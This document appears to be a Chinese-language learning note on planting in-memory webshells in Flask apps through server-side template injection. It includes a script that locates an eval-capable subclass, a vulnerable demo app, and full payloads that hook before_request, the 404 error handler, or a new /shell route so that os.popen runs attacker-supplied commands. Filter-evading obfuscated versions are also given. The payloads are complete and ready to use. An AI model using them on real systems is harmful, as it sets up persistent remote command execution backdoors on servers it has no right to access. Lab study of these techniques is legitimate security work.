内存马

https://www.cnblogs.com/gxngxngxn/p/18181936
这里的内存不是二进制那些高深的概念
就是改变某些在请求过程中，
会起到作用的属性和方法，从而达到我们的目的
写内存马的前提不同于文件马
需要实现的是代码执行而不是文件读写

利用脚本找出ssti中存在的eval

import requests

url = "http://127.0.0.1:5000?name="

for i in range(0,400):
    payload="{{().__class__.__base__.__subclasses__()[" + str(i) + "].__init__.__globals__.__builtins__.eval('print(0)')}}"
    response = requests.get(url=url+payload)
    if response.status_code == 200:
        print(i)
        print(().__class__.__base__.__subclasses__()[i])

那么我们就成功拿到了一个代码执行的payload

().__class__.__base__.__subclasses__()[104].__init__.__globals__.__builtins__.eval('print(0)')

获取回显的方式

alt text

示例：before_request

靶场源码：

from flask import Flask, request, render_template_string
app = Flask(__name__)

@app.route('/')
def hello():
    name = request.args.get('name', 'Guest')
    template = f'''
    <!DOCTYPE html>
    <html>
    <head>
        <title>SSTI示例</title>
    </head>
    <body>
        <h1>Hello {name}!</h1>
    </body>
    </html>
    '''
    return render_template_string(template)

if __name__ == '__main__':
    app.run(debug=False)
获取到app（Flask对象）

使用Python的内置核心模块sys来获取

sys是Python 的一个内置核心模块，
而sys.modules是一个记录了“当前Python程序加载了哪些模块”的“全局花名册”。
通过这个花名册，我们能找到主程序，
并拿到主程序里定义的全局变量，其中就包括 app。

payload:

__import__('sys').modules['__main__'].__dict__['app']

当然如果变量名不是约定俗成的app就要通过别的方法来获取

flask<2.1.3 || 3.0 < flask
url_for.__globals__['current_app']
2.3<flask<3.0
get_flashed_messages.__globals__['current_app']
获取定制回显

使用before_request钩子的场景
https://geek-docs.com/flask/flask-questions/69_flask_python_flask_after_request_and_before_request_for_a_specific_set_of_request.html

from flask import Flask, request

app = Flask(__name__)

@app.before_request
def before_request():
    # 执行一些操作，例如进行身份验证
    if not request.headers.get("Authorization"):
        return "Unauthorized", 401

源码：

@setupmethod
def before_request(self, f: T_before_request) -> T_before_request:
    """Register a function to run before each request.

    For example, this can be used to open a database connection, or
    to load the logged in user from the session.

    .. code-block:: python

        @app.before_request
        def load_user():
            if "user_id" in session:
                g.user = db.session.get(session["user_id"])

    The function will be called without any arguments. If it returns
    a non-``None`` value, the value is handled as if it was the
    return value from the view, and further request handling is
    stopped.

    This is available on both app and blueprint objects. When used on an app, this
    executes before every request. When used on a blueprint, this executes before
    every request that the blueprint handles. To register with a blueprint and
    execute before every request, use :meth:`.Blueprint.before_app_request`.
    """
    self.before_request_funcs.setdefault(None, []).append(f)
    return f
before_request_funcs数据类型
self.before_request_funcs: dict[
    ft.AppOrBlueprintKey, 
    list[ft.BeforeRequestCallable]
] = defaultdict(list)

print出来看一下

defaultdict(<class 'list'>, {None: [<function a at 0x000001CF00494D60>, <function a at 0x000001CF00652160>]})

这里使用到的是defaultdict默认字典

作用是访问不存在的键时自动创建一个默认值

setdefault(key, default_value) 的作用：

  1. 它会先在字典中查找你提供的 key。
  2. 如果 key 存在，它就直接返回这个 key 对应的 value。
  3. 如果 key 不存在，它会先将 default_value 设置为这个新 key 的值，**然后再返回这个 default_value**。

也就是说编写在用户自己的应用里的before_request函数，
会作为一个函数（f）添加进before_request_funcs里

这些函数会在请求进入真正的接口前执行

如果这些函数没有返回值（None）则成功进入接口
否则回显对应的返回值，那我们就可以使用lambda表达式定制自己的回显了
payload:

app.before_request_funcs.setdefault(None, []).append(lambda :xxx)
配合ssti写入内存马

把上述的获取方式拼接一下得到内存马的payload：

eval("__import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None, []).append(lambda :__import__('os').popen(request.args.get('ivory')).read())")

结合上面到eval的payload，拼起来就是：

{{().__class__.__base__.__subclasses__()[104].__init__.__globals__.__builtins__.eval("__import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None, []).append(lambda :__import__('os').popen(request.args.get('ivory')).read())")}}

但是利用这个payload会出现报错
alt text
因为外面的flask并不在 lambda函数的执行环境中
所以接收命令的部分需要额外加一个import

__import__('flask').request.args.get('ivory')

最终payload:

{{().__class__.__base__.__subclasses__()[104].__init__.__globals__.__builtins__.eval("__import__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None, []).append(lambda :__import__('os').popen(__import__('flask').request.args.get('ivory')).read())")}}
get_flashed_messages.__globals__['current_app']
{{().__class__.__base__.__subclasses__()[104].__init__.__globals__.__builtins__.eval("app.before_request_funcs.setdefault(None, []).append(lambda :__import__('os').popen(__import__('flask').request.args.get('ivory')).read())",{'app':get_flashed_messages.__globals__['current_app']})}}

Errorhandle

在pickle反序列化中直接exec的方法：

exec("global exc_class;global code;exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:__import__('os').popen(request.args.get('gxngxngxn')).read()")

重复上述的过程构造ssti

import requests

url = "http://127.0.0.1:8080?name="

for i in range(0,400):
    payload="{{().__class__.__base__.__subclasses__()[" + str(i) + "].__init__.__globals__.__builtins__.exec('print(0)')}}"
    response = requests.get(url=url+payload)
    if response.status_code == 200:
        print(i)
        print(().__class__.__base__.__subclasses__()[i])

104依旧可以使用

{{().__class__.__base__.__subclasses__()[104].__init__.__globals__.__builtins__.exec('print(0)')}}

填入

{{().__class__.__base__.__subclasses__()[104].__init__.__globals__.__builtins__.exec("app=__import__('sys').modules['__main__'].__dict__['app'];exc_class, code = app._get_exc_class_and_code(404);app.error_handler_spec[None][code][exc_class] = lambda a:__import__('os').popen(__import__('flask').request.args.get('ivory')).read()")}}

需要注意的是这里需要去掉两个global声明
因为pickle.loads()在主环境中执行，而ssti则是一个临时的环境

更进一步

经过对上面这两个钩子函数利用的学习

我发现新版内存马的底层逻辑就是复现钩子函数的底层逻辑
这样就可以绕过装饰器setupmethod

{{self.__init__.__globals__.__builtins__.exec("app = __import__('sys').modules['__main__'].__dict__['app']; rule = app.url_rule_class('/shell', endpoint='shell', methods={'GET'}); app.url_map.add(rule); app.view_functions['shell'] = lambda: __import__('os').popen(__import__('flask').request.args.get('ivory')).read()")}}

后来找找已经有人发过了

https://www.caterpie771.cn/archives/308?utm_source=chatgpt.com#flask%3E213

{{().__class__.__base__.__subclasses__()[104].__init__.__globals__.__builtins__.exec("app = __import__('sys').modules['__main__'].__dict__['app']; rule = app.url_rule_class('/shell', endpoint='shell', methods={'GET'}); app.url_map.add(rule); app.view_functions['shell'] = lambda: __import__('os').popen(__import__('flask').request.args.get('ivory')).read()")}}
{{(()["__cl"+"ass__"]["__b"+"ase__"]["__subcl"+"asses__"]()[104].__init__ | attr('__glo'+'bals__')).__builtins__.exec("app = __impo"+"rt__('sys').modules['__main__'].__dict__['app']; rule = app.url_rule_class('/shell', endpoint='shell', methods={'GET'}); app.url_map.add(rule); app.view_functions['shell'] = lambda: __imp"+"ort__('os').popen(__imp"+"ort__('flask').request.args.get('ivory')).read();'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa';")}}
{{()["__cl"+"ass__"]["__b"+"ase__"]["__subcl"+"asses__"]()[104].__init__ | attr('__glo'+'bals__')).__builtins__.exec("__imp"+"ort__('sys').modules['__main__'].__dict__['app'].before_request_funcs.setdefault(None, []).append(lambda :__imp"+"ort__('os').popen(__imp"+"ort__('flask').request.args.get('ivory')).read())")}}
{{aaa.__init__.__globals__.__builtins__.exec("__import__('os').popen(__import__('flask').request.args.get('ivory')).read()")}}